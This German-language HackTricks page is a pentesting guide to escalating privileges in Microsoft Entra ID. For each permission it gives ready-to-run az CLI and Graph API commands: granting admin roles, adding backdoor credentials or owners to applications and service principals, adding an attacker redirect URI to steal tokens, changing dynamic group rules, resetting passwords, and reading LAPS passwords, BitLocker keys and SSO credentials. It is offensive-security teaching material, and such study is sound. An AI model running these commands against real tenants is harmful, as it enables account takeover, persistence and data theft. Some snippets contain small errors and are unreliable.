Az - EntraID Privesc

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

note

Beachten Sie, dass nicht alle granularen Berechtigungen, die integrierte Rollen in Entra ID haben, für benutzerdefinierte Rollen verwendet werden können.

Rollen

Rolle: Privileged Role Administrator

Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an Prinzipale zuzuweisen und um Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren.

  • Rolle einem Benutzer zuweisen:
bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Fügen Sie einer Rolle weitere Berechtigungen hinzu:
bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Anwendungen

microsoft.directory/applications/credentials/update

Dies ermöglicht einem Angreifer, Anmeldeinformationen (Passwörter oder Zertifikate) zu bestehenden Anwendungen hinzuzufügen. Wenn die Anwendung über privilegierte Berechtigungen verfügt, kann der Angreifer sich als diese Anwendung authentifizieren und diese Berechtigungen erlangen.

bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Dies ermöglicht die gleichen Aktionen wie applications/credentials/update, jedoch beschränkt auf Anwendungen in einem einzelnen Verzeichnis.

bash
az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Indem sich ein Angreifer als Eigentümer hinzufügt, kann er die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen.

bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs teilen, die die neue Umleitungs-URL verwenden, um ihre Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet war, ohne dass der Benutzer etwas akzeptieren muss.

Es ist auch möglich, die Berechtigungen, die die Anwendung anfordert, zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer erneut die Aufforderung akzeptieren, die nach allen Berechtigungen fragt.

bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

Dies ermöglicht es einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.

bash
az ad sp credential reset --id <sp-id> --append

caution

Das neu generierte Passwort wird nicht in der Webkonsole angezeigt, daher könnte dies eine heimliche Möglichkeit sein, um Persistenz über einen Dienstprinzipal aufrechtzuerhalten.
Über die API können sie mit folgendem Befehl gefunden werden: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Wenn Sie den Fehler "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." erhalten, liegt das daran, dass es nicht möglich ist, die Eigenschaft passwordCredentials des SP zu ändern und Sie sie zuerst entsperren müssen. Dafür benötigen Sie eine Berechtigung (microsoft.directory/applications/allProperties/update), die es Ihnen ermöglicht, Folgendes auszuführen:

bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Dies ermöglicht einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.

bash
az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Ähnlich wie bei Anwendungen ermöglicht diese Berechtigung das Hinzufügen weiterer Eigentümer zu einem Dienstprinzipal. Das Besitzen eines Dienstprinzipals ermöglicht die Kontrolle über dessen Anmeldeinformationen und Berechtigungen.

bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

caution

Nachdem ich einen neuen Eigentümer hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn es die Methode ist, die Sie verwenden müssen, um den Eigentümer zu löschen. Daher können Sie heutzutage keine Eigentümer entfernen.

microsoft.directory/servicePrincipals/disable und enable

Diese Berechtigungen ermöglichen es, Dienstprinzipale zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen Dienstprinzipal zu aktivieren, auf den er irgendwie Zugriff erhalten könnte, um Privilegien zu eskalieren.

Beachten Sie, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten Dienstprinzipal zu übernehmen.

bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Diese Berechtigungen ermöglichen das Erstellen und Abrufen von Anmeldeinformationen für die einmalige Anmeldung, die den Zugriff auf Drittanwendungen ermöglichen könnten.

bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Gruppen

microsoft.directory/groups/allProperties/update

Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilegieneskalation führt.

bash
az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID rollenzuweisbare Gruppen aus.

microsoft.directory/groups/owners/update

Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern, was potenziell zu einer Eskalation der Berechtigungen innerhalb der Gruppe führen kann.

bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID rollenzuweisbare Gruppen aus.

microsoft.directory/groups/members/update

Diese Berechtigung erlaubt es, Mitglieder zu einer Gruppe hinzuzufügen. Ein Angreifer könnte sich selbst oder bösartige Konten zu privilegierten Gruppen hinzufügen, was erhöhten Zugriff gewähren kann.

bash
az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Diese Berechtigung ermöglicht es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden.

bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Hinweis: Diese Berechtigung schließt Entra ID rollenzuweisbare Gruppen aus.

Dynamische Gruppen Privesc

Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Weitere Informationen finden Sie unter:

Az - Dynamic Groups Privesc

Benutzer

microsoft.directory/users/password/update

Diese Berechtigung erlaubt es, das Passwort für Nicht-Admin-Benutzer zurückzusetzen, was einem potenziellen Angreifer ermöglicht, die Berechtigungen auf andere Benutzer zu eskalieren. Diese Berechtigung kann nicht benutzerdefinierten Rollen zugewiesen werden.

bash
az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Dieses Privileg erlaubt es, die Eigenschaften des Benutzers zu ändern. Es ist üblich, dynamische Gruppen zu finden, die Benutzer basierend auf den Werten der Eigenschaften hinzufügen. Daher könnte dieses Recht einem Benutzer erlauben, den erforderlichen Eigenschaftswert festzulegen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.

bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Bedingte Zugriffsrichtlinien & MFA-Umgehung

Fehlerhaft konfigurierte bedingte Zugriffsrichtlinien, die MFA erfordern, könnten umgangen werden, siehe:

Az - Conditional Access Policies & MFA Bypass

Geräte

microsoft.directory/devices/registeredOwners/update

Diese Berechtigung ermöglicht Angreifern, sich selbst als Eigentümer von Geräten zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Diese Berechtigung ermöglicht Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erhalten oder Sicherheitsrichtlinien zu umgehen.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Diese Berechtigung ermöglicht Angreifern, die Eigenschaften der gesicherten Anmeldeinformationen des lokalen Administratorkontos für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts.

bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden.

bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Andere interessante Berechtigungen (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks